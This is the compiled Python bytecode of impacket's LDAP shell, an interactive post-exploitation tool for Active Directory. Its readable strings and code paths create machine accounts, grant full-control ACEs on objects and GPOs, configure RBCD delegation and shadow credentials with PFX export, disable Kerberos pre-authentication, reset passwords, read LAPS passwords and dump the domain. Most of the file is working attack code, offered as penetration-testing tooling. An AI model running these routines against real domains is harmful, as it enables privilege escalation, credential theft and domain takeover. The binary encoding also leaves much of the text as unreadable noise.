o
    j                     @   s   d dl Z d dlZd dlZd dlZd dlZd dlZd dlmZ d dlm	Z	 d dl
mZ d dlZd dlmZ d dlmZ d dlmZmZmZmZmZ d dlmZ d d	lmZ d dlZG d
d dejZdS )    N)RESULT_UNWILLING_TO_PERFORMescape_filter_chars)PY2)LOG)security_descriptor_control)ACCESS_ALLOWED_OBJECT_ACEACCESS_MASKACCESS_ALLOWED_ACEACEOBJECTTYPE_GUID_MAP)	ldaptypes)shadow_credentialsc                   @   s  e Zd ZdZdd Zdd Zdd Zdd	 Zd
d Zdd Z	dd Z
dd Zdd Zdd Zdd Zdd Zdd Zdd Zdd Zd d! Zd"d# Zd$d% Zd&d' Zd(d) Zd*d+ Zd,d- Zd.d/ Zd0d1 Zd2d3 Zd4d5 Zd6d7 Zd8d9 Zd:d; Z d<d= Z!d>d? Z"d@dA Z#dBdC Z$dDS )E	LdapShellz1.2.840.113556.1.4.1941c                 C   s   t jj| |j|jd trtt td |jt_|jt_|jt_	d| _
|| _d| _d | _d| _d| _d | _g | _|| _|| _d S )N)stdinstdoututf8Fz
# zType help for list of commandsT)cmdCmd__init__r   r   r   reloadsyssetdefaultencodingstderruse_rawinputshellprompttidintrologgedInlast_output
completionclientdomain_dumper)self	tcp_shellr#   r"    r&   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ldap_shell.pyr   &   s"   

zLdapShell.__init__c                 C   s   d S Nr&   )r$   r&   r&   r'   	emptyline=   s   zLdapShell.emptylinec              
   C   s`   d}z
t j| |}W |S  ty/ } zt| t| tjddd W Y d }~|S d }~ww )NFzException infoT)exc_info)r   r   onecmd	Exceptionprintr   errordebug)r$   sret_valer&   r&   r'   r+   @   s   
zLdapShell.onecmdc                 C   s|   t  }d|d< d|d< d|d< t  |d< |d d d	|d
< d	|d< t  }d|d< d|d< d|d< g |_||d< |S )N   Revision    Sbz1i  ControlOwnerSidzS-1-5-32-544    GroupSidSacl   AclRevisionr   Sbz2Dacl)r   SR_SECURITY_DESCRIPTORLDAP_SIDfromCanonicalACLaces)r$   sdaclr&   r&   r'   create_empty_sdK   s   zLdapShell.create_empty_sdc                 C   sb   t  }t jj|d< d|d< t  }t  |d< d|d d< t  |d< |d | ||d< |S )NAceTyper   AceFlagsMaski SidAce)r   r   r
   ACE_TYPEr	   rA   rB   )r$   sidnaceacedatar&   r&   r'   create_allow_ace]   s   zLdapShell.create_allow_acec                 C   sn  t |}td|d |d f  t|dkrtd|d }|d }| jj| jjd| dgd t| jj	dkr=td	| jj	d }t
d
d}| jj| jjd| ddg|d t| jj	dkrdtd| jj	d }|d jd }tj|d}	| t|d }
|	d d |
 |	 }| jj|jdtj|gfi|d | jjd dkrtd d S tdt| jjd  )NzAdding %s to GPO with GUID %sr         z*A samaccountname and GPO sid are required.z*(&(objectclass=person)(sAMAccountName=%s))	objectSid
attributeszDidnt find the given userr<   sdflagsz.(&(objectclass=groupPolicyContainer)(name=%s))nTSecurityDescriptorrV   controlszDidnt find the given gpodatar?   Datar[   resultz<LDAP server claims to have taken the secdescriptor. Have funzSomething wasnt right: %sdescription)shlexsplitr-   lenr,   r"   searchr#   rootentriesr   
raw_valuesr   r@   rQ   strappendgetDatamodifyentry_dnldap3MODIFY_REPLACEr`   )r$   lineargstgtUsergposiduserr[   gposecDescDatasecDescnewacer]   r&   r&   r'   do_write_gpo_dacli   s0   

  zLdapShell.do_write_gpo_daclc                 C   s  t |}| jjjs| jjstd t|dkr(t|dkr(t|dkr(td|d }|	ds5|d7 }td|  d	}t|dksI|d d
krVd	
dd tdD }n|d }| jj}tjdd||dd  tjddd  }td|  td|  |d d }d|| jjf }td|  t|dkr|d d
krd||f g}	n[tdt|d  t|dkr|d d
krd| d||f d| d||f g}	n2|d d
krd||f g}	n$t|dkrd| d||f d| d||f g}	ntdt| jd  d||f d|	|d|dd }
| j|g d!|
}|s<| jjd" tkr0td# d S td$t| jj  d S td%||f  d S )&Nz5Error adding a new computer with LDAP requires LDAPS.rR   rS      z_Error expected a computer name, an optional password argument, and an optional nospns argument.r   $z2Attempting to add a new computer with the name: %s nospnsc                 s   (    | ]}t tjtj tj V  qd S r(   randomchoicestringascii_lettersdigitspunctuation.0_r&   r&   r'   	<genexpr>      & z,LdapShell.do_add_computer.<locals>.<genexpr>   z,DC=.zDC=)flagszInferred Domain DN: %szInferred Domain Name: %szCN=%s,CN=Computers,%szNew Computer DN: %sz
HOST/%s.%szInvalid third argument: %szHOST/%szRestrictedKrbHost/%szRestrictedKrbHost/%s.%sz%s.%si   "{}"	utf-16-le)dnsHostNameuserAccountControlservicePrincipalNamesAMAccountName
unicodePwd)toppersonorganizationalPersonrt   computerr`   z>Failed to add a new computer. The server denied the operation.z Failed to add a new computer: %szAAdding new computer with username: %s and password: %s result: OK)rb   rc   r"   serverssltls_startedr-   rd   r,   endswithjoinranger#   rf   resubfindIri   rq   formatencodeaddr`   r   )r$   rp   rq   computer_namepassword	domain_dndomaincomputer_hostnamecomputer_dnspnsucdresr&   r&   r'   do_add_computer   sn   
$
*






zLdapShell.do_add_computerc                 C   s(  t |}t|dkrtd|d }|d }| jj| jjdt| ddgd | jj	d j
}|s7td	| | jj	d }|d
 j}td|  td|  | j|dtj|gfi | jjd dkritd d S | jjd dkrztd| jjd | jjd dkrtd| jjd td| jjd )NrS   ziCurrent Computer sAMAccountName and New Computer sAMAccountName required (rename_computer comp1$ comp2$).r   rR   (sAMAccountName=%s)rT   r   rU   zComputer not found in LDAP: %ssamAccountNamezOriginal sAMAccountName: %szNew sAMAccountName: %sr`   z#Updated sAMAccountName successfully2   CCould not modify object, the server reports insufficient rights: %smessage   GCould not modify object, the server reports a constrained violation: %s The server returned an error: %s)rb   rc   rd   r,   r"   re   r#   rf   r   rg   rm   valuer-   rl   rn   ro   r`   )r$   rp   rq   current_namenew_namer   entryr   r&   r&   r'   do_rename_computer   s*   
"
zLdapShell.do_rename_computerc           	      C   s&  t |}| jjjs| jjstd t|dkrtd|d }t|dkr-d| j	j
 }n|d }ddd td	D }d
||f }d| j	j
 ||||||dd|d|dd}td| | j|g d|}|s| jjd tkr}| jjjs}tdtdt| jjd  td||f  d S )Nz1Error adding a new user with LDAP requires LDAPS.r   zA username is required.rR   zCN=Users,%sr|   c                 s   r~   r(   r   r   r&   r&   r'   r     r   z(LdapShell.do_add_user.<locals>.<genexpr>r   zCN=%s,%sz'CN=Person,CN=Schema,CN=Configuration,%si   0r   r   )objectCategorydistinguishedNamecnsn	givenNamedisplayNamenamer   accountExpiresr   r   z Attempting to create user in: %s)r   r   r   rt   r`   zFailed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.zFailed to add a new user: %sra   z=Adding new user with username: %s and password: %s result: OK)rb   rc   r"   r   r   r   r-   rd   r,   r#   rf   r   r   r   r   r   r`   r   ri   )	r$   rp   rq   new_user	parent_dnnew_passwordnew_user_dnr   r   r&   r&   r'   do_add_user   s<   


zLdapShell.do_add_userc                 C   s   t |\}}| |}|std| | |}|s!td| |dd dd  }|dd dd  }| j|dtj|gfgi}|rQtd||f  d S td|t	| jj
d	 f )
NUser not found in LDAP: %sGroup not found in LDAP: %s,r   rz   memberz&Adding user: %s to group %s result: OKz"Failed to add user to %s group: %sra   )rb   rc   get_dnr,   r"   rl   rn   
MODIFY_ADDr-   ri   r`   )r$   rp   	user_name
group_nameuser_dngroup_dnr   r&   r&   r'   do_add_user_to_group"  s   

zLdapShell.do_add_user_to_groupc                 C   s  t |}t|dkrt|dkrtdt| | |d }td|  d}t|dkr;ddd td	D }n|d }td
|  | jj	j
||}| jjd dkr\td d S | jjd dkrmtd| jjd | jjd dkr~td| jjd td| jjd )NrR   rS   z_Error expected a username and an optional password argument. Instead %d arguments were providedr   zGot User DN: r|   c                 s   r~   r(   r   r   r&   r&   r'   r   A  r   z/LdapShell.do_change_password.<locals>.<genexpr>r   z%Attempting to set new password of: %sr`   zPassword changed successfully!r   r   r   r   r   r   )rb   rc   rd   r,   r   r-   r   r   r"   extend	microsoftmodify_passwordr`   )r$   rp   rq   r   r   successr&   r&   r'   do_change_password6  s$   
zLdapShell.do_change_passwordc                 C   s  | j j| jjdt| ddgd}|du st| j jdkr&tdt| j j| j jd }|d	 j}t	d
|j
  t	d|  |  }| j |j
dtj| ggi | j jd dkr`t	d d S | j jd dkrqtd| j jd | j jd dkrtd| j jd td| j jd )Nr   rT   (msDS-AllowedToActOnBehalfOfOtherIdentityrU   FrR   4Error expected only one search result got %d resultsr   	objectsidFound Target DN: %sTarget SID: %s
r`   z'Delegation rights cleared successfully!r   r   r   r   r   r   )r"   re   r#   rf   r   rd   rg   r,   r   r-   rm   rG   rl   rn   ro   rk   r`   )r$   r   r   target
target_sidrE   r&   r&   r'   do_clear_rbcdR  s    "
 zLdapShell.do_clear_rbcdc                 C   s(   t d | j  | j  t d d S )NzDumping domain info...z Domain info dumped into lootdir!)r-   r   flushr#   
domainDumpr$   rp   r&   r&   r'   do_dumpj  s   

zLdapShell.do_dumpc                 C   sD   | j js| j jjstd | j  stdtd d S td d S )NzSending StartTLS command...zStartTLS failedz+StartTLS succeded, you are now using LDAPS!z9It seems you are already connected through a TLS channel.)r"   r   r   r   r-   	start_tlsr,   r   r&   r&   r'   do_start_tlsp  s   
zLdapShell.do_start_tlsc                 C      |  |d d S )NFtoggle_account_enable_disabler$   usernamer&   r&   r'   do_disable_accountz     zLdapShell.do_disable_accountc                 C   r   NTr   r   r&   r&   r'   do_enable_account}  r   zLdapShell.do_enable_accountc                 C   s,  d}| j j| jjdt| ddgd t| j jdkr$tdt| j j| j jd j}|s3td	| | j jd }|d j	}t
d
|  |rL|| @ }n||B }| j |dtj|gfi | j jd dkrkt
d d S | j jd dkr|td| j jd | j jd dkrtd| j jd td| j jd )NrS   r   rT   r   rU   rR   r   r   r   Original userAccountControl: %dr`   1Updated userAccountControl attribute successfullyr   r   r   r   r   r   )r"   re   r#   rf   r   rd   rg   r,   rm   r   r-   rl   rn   ro   r`   )r$   r   enableUF_ACCOUNT_DISABLEr   r   r   r&   r&   r'   r     s*   "
z'LdapShell.toggle_account_enable_disablec                    s   t | t dkrtdg d}|d d  }|d  dd  D ]}|| q$d fdd|D }| jd	| g|R   d S )
Nr   A query is required.)r   r   r   rT   rR   r|   c                 3   s$    | ]}d |t  d f V  qdS )z	(%s=*%s*)r   Nr   )r   	attribute	argumentsr&   r'   r     s   " z&LdapShell.do_search.<locals>.<genexpr>z(|%s))rb   rc   rd   r,   rj   r   re   )r$   rp   filter_attributesrV   argumentsearch_queryr&   r   r'   	do_search  s   

zLdapShell.do_searchc           
      C   s  d}t |}t|dkrtd|d }|d }d}| dkr$d}n| d	kr-d}ntd
| jj| jjdt	| ddgd t| jj
dkrStdt| jj
| jj
d j}|sbtd| | jj
d }|d j}	td|	  |rz|	|B }	n|	| @ }	td|	  | j|dtj|	gfi | jjd dkrtd d S | jjd dkrtd| jjd | jjd dkrtd| jjd td| jjd )Ni  @ rS   zJUsername (SAMAccountName) and true/false flag required (e.g. jsmith true).r   rR   FtrueTfalsez/The specified flag must be either true or falser   rT   r   rU   r   r   r   zUpdated userAccountControl: %dr`   r   r   r   r   r   r   r   )rb   rc   rd   r,   lowerr"   re   r#   rf   r   rg   rm   r   r-   rl   rn   ro   r`   )
r$   rp   UF_DONT_REQUIRE_PREAUTHrq   r   flag_strflagr   r   r   r&   r&   r'   do_set_dontreqpreauth  sB   
"


zLdapShell.do_set_dontreqpreauthc                 C   s6   |  |}|std| | dtjt|f  d S )Nr   z(member:%s:=%s)r   r,   re   r   LDAP_MATCHING_RULE_IN_CHAINr   )r$   r   r   r&   r&   r'   do_get_user_groups  s   
zLdapShell.do_get_user_groupsc                 C   s:   |  |}|std| | dtjt|f dd d S )Nr   z(memberof:%s:=%s)r   r   r  )r$   r   r   r&   r&   r'   do_get_group_users  s   
 zLdapShell.do_get_group_usersc                 C   s   | j j| jjdt| dgd t| j jdkr!tdt| j j| j jd }td|j	  |d j
}|d ur?td|  d S td	 d S )
Nr   zms-MCS-AdmPwdrU   rR   r   r   zFound Computer DN: %szLAPS Password: %sz)Unable to Read LAPS Password for Computer)r"   re   r#   rf   r   rd   rg   r,   r-   rm   r   )r$   r   r   r   r&   r&   r'   do_get_laps_password  s    
zLdapShell.do_get_laps_passwordc                 C   sb  t |}t|dkr|\}}| jj}nt|dkr |\}}}n
tdt| d|dr7|dr7|}ndt| d}t	dd	}| j
j| jjdt| dd
g|d | j
js_tdt| j
jdkrktd| j
jd d
 j}td|d| | j
j||dg|d | j
jstdt| j
jdkrtd| j
jd }	td|d|	j ztj|	d jd d}
W n ty   |  }
Y nw |
d j| | | j
j|	jdtj|
 ggi|d | j
jd dkrtd t|d|	j d S | j
jd dkrtd| j
jd  | j
jd dkr&td| j
jd  td | j
jd  )!NrS   rz   zJExpecting target and grantee or search base, target and grantee. Received z arguments instead.()z(sAMAccountName=r<   rW   rT   rZ   zGrantee not foundrR   zGrantee not uniquer   z	Resolved z to rY   zTarget not foundzTarget not uniquer\   r?   r_   r`   zDACL modified successfully!z now has control of r   zACould not modify object, the server reports insufficient rights: r   r   zECould not modify object, the server reports a constrained violation: zThe server returned an error: )rb   rc   rd   r#   rf   r,   
startswithr   r   r   r"   re   rg   r   r-   rm   r   r@   rh   
IndexErrorrG   rD   rj   rQ   rl   rn   ro   rk   r`   )r$   rp   rq   target_specgrantee_nametarget_basetarget_filterr[   grantee_sidtarget_entryrE   r&   r&   r'   do_grant_control  sP   


&$zLdapShell.do_grant_controlc                 C   s  t |}t|dkrt|dkrtdt| |d }|d }|d }|d }| jj| jjdt| ddgd}|d	u sFt| jj	dkrOtd
t| jj	| jj	d }|d j
}td|j  td|  | jj| jjdt| dgd}|d	u st| jj	dkrtd
t| jj	| jj	d }	|	d j
}td|	j  td|  z7tj|d jd d}
td |
d jD ] }td|d d    |d d  |krtd  W d S qW n ty   |  }
Y nw |
d j| | | j|jdtj|
 ggi | jjd dkrtd td||f  d S | jjd dkr-td| jjd | jjd dkr?td| jjd td| jjd )NrR   rS   zXError expecting target and grantee names for RBCD attack. Recieved %d arguments instead.r   r   rT   r   rU   Fr   r   r   zFound Grantee DN: %szGrantee SID: %sr\   zCurrently allowed sids:r?   z    %srL   rK   zEGrantee is already permitted to perform delegation to the target hostr`   z(Delegation rights modified successfully!z0%s can now impersonate users on %s via S4U2Proxyr   r   r   r   r   r   )rb   rc   rd   r,   r"   re   r#   rf   r   rg   r   r-   rm   r   r@   rh   rD   formatCanonicalr  rG   rj   rQ   rl   rn   ro   rk   r`   )r$   rp   rq   target_namer  r   r  r   r   granteerE   acer&   r&   r'   do_set_rbcd/  sX   
"
 
 zLdapShell.do_set_rbcdc              
   C   s>  t |}t|dkrtdt| |d }| jj| jjdt| ddgd}|du s4t| jj	dkr=td	t| jj	| jj	d }|d j
}td
|j  td|  tj|d\}}t }	tj||	t d}
tdtj|	d  z|d jt|
 |jg }| j|jdtj|gi td | jjd dkrddd tdD }ddd tdD }tj||||d td| d  td|  W d S | jjd dkrtd| jjd   W d S | jjd dkrtd | jjd   W d S td!| jjd   W d S  ty } ztd" W Y d }~d S d }~ww )#NrR   zYError expecting target name for shadow credentials attack. Recieved %d arguments instead.r   r   rT   msDS-KeyCredentialLinkrU   Fr   r   r   )subject)deviceIdcurrentTimez)KeyCredential generated with DeviceID: %s)bytesz&Shadow credentials successfully added!r`   r|   c                 s   "    | ]}t tjtj V  qd S r(   r   r   r   r   r   r   ir&   r&   r'   r          z0LdapShell.do_set_shadow_creds.<locals>.<genexpr>   c                 s   r   r(   r!  r"  r&   r&   r'   r     r$     )r   path_to_filez1Saved PFX (#PKCS12) certificate & key at path: %sz.pfxzMust be used with password: %sr   r   r   r   r   r   z/Attribute msDS-KeyCredentialLink does not exist)rb   rc   rd   r,   r"   re   r#   rf   r   rg   r   r-   rm   r   createSelfSignedX509CertificategetDeviceIdKeyCredentialgetTicksNowuuidUUIDrh   toDNWithBinary2String
dumpBinaryrl   rn   ro   r`   r   r   	exportPFXr  )r$   rp   rq   r  r   r   r   keycertificate	device_idkeyCredential
new_valuespathr   r2   r&   r&   r'   do_set_shadow_credsh  sN   
"

zLdapShell.do_set_shadow_credsc                 C   s  | j j| jjdt| ddgd}|du st| j jdkr&tdt| j j| j jd }|d	 j}t	d
|j
  t	d|  | j |j
dtjg gi | j jd dkrYt	d d S | j jd dkrjtd| j jd | j jd dkr{td| j jd td| j jd )Nr   rT   r  rU   FrR   r   r   r   r   r   r`   z(Shadow credentials cleared successfully!r   r   r   r   r   r   )r"   re   r#   rf   r   rd   rg   r,   r   r-   rm   rl   rn   ro   r`   )r$   r   r   r   r&   r&   r'   do_clear_shadow_creds  s   "
zLdapShell.do_clear_shadow_credsc                 G   sp   | j j| jj||d | j jD ]&}t|j |D ]}|| j}|r,td||| jf  qt|r5td qd S )NrU   z%s: %sz---)	r"   re   r#   rf   rg   r-   rm   r   any)r$   queryrV   r   r   r   r&   r&   r'   re     s   

zLdapShell.searchc                 C   sR   d|v r|S z| j j| jjdt| dgd | j jd jW S  ty(   Y d S w )Nr   r   rT   rU   r   )r"   re   r#   rf   r   rg   rm   r  )r$   sam_namer&   r&   r'   r     s    zLdapShell.get_dnc                 C   s   t | jjj  d S r(   )r-   r"   r   standardwho_am_ir   r&   r&   r'   	do_whoami  s   zLdapShell.do_whoamic                 C   s   t |}t|dkrtd| jj}|d }ttg d|dd   }| jj	j
j|||dd}g }|jr?|| 7 }|js6|D ]}t|d  |d  D ]	\}	}
t|	|
 qOt  qAd S )	Nr   r   )r   r   r   rR   F)rV   sync_filterincremental_valuesdnrV   )rb   rc   rd   r,   r#   rf   listsetr"   r   r   dir_syncmore_resultsloopr-   items)r$   rp   r   r   r?  rV   syncresultsr`   kvr&   r&   r'   
do_dirsync  s"   
zLdapShell.do_dirsyncc                 C   s   | j d ur
| j   dS r   )r   closer   r&   r&   r'   do_exit  s   

zLdapShell.do_exitc                 C   s   t d d S )Na  
 add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
 rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
 add_user new_user [parent] - Creates a new user.
 add_user_to_group user group - Adds a user to a group.
 change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
 clear_rbcd target - Clear the resource based constrained delegation configuration information.
 clear_shadow_creds target - Clear shadow credentials on the target (sAMAccountName).
 disable_account user - Disable the user's account.
 enable_account user - Enable the user's account.
 dump - Dumps the domain.
 search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
 get_user_groups user - Retrieves all groups this user is a member of.
 get_group_users group - Retrieves all members of a group.
 get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
 grant_control [search_base] target grantee - Grant full control on a given target object (sAMAccountName or search filter, optional search base) to the grantee (sAMAccountName).
 set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
set_shadow_creds target - Set shadow credentials on the target object (sAMAccountName).
 start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.
 write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
 whoami - get connected user
 dirsync - Dirsync requested attributes
 exit - Terminates this session.r-   r   r&   r&   r'   do_help  s   zLdapShell.do_helpc                 C   s   t d dS )NzBye!
TrO  r   r&   r&   r'   do_EOF  s   zLdapShell.do_EOFN)%__name__
__module____qualname__r  r   r)   r+   rG   rQ   ry   r   r   r   r   r   r   r   r   r   r   r   r   r  r  r	  r
  r  r  r7  r8  re   r   r>  rL  rN  rP  rQ  r&   r&   r&   r'   r   #   sF    !M!*
!029+
r   )r   r   r   r   r   rn   ldap3.core.resultsr   ldap3.utils.convr   sixr   rb   impacketr   ldap3.protocol.microsoftr   impacket.ldap.ldaptypesr   r	   r
   r   r   impacket.ldapr   "impacket.examples.ntlmrelayx.utilsr   r,  r   r   r&   r&   r&   r'   <module>   s"   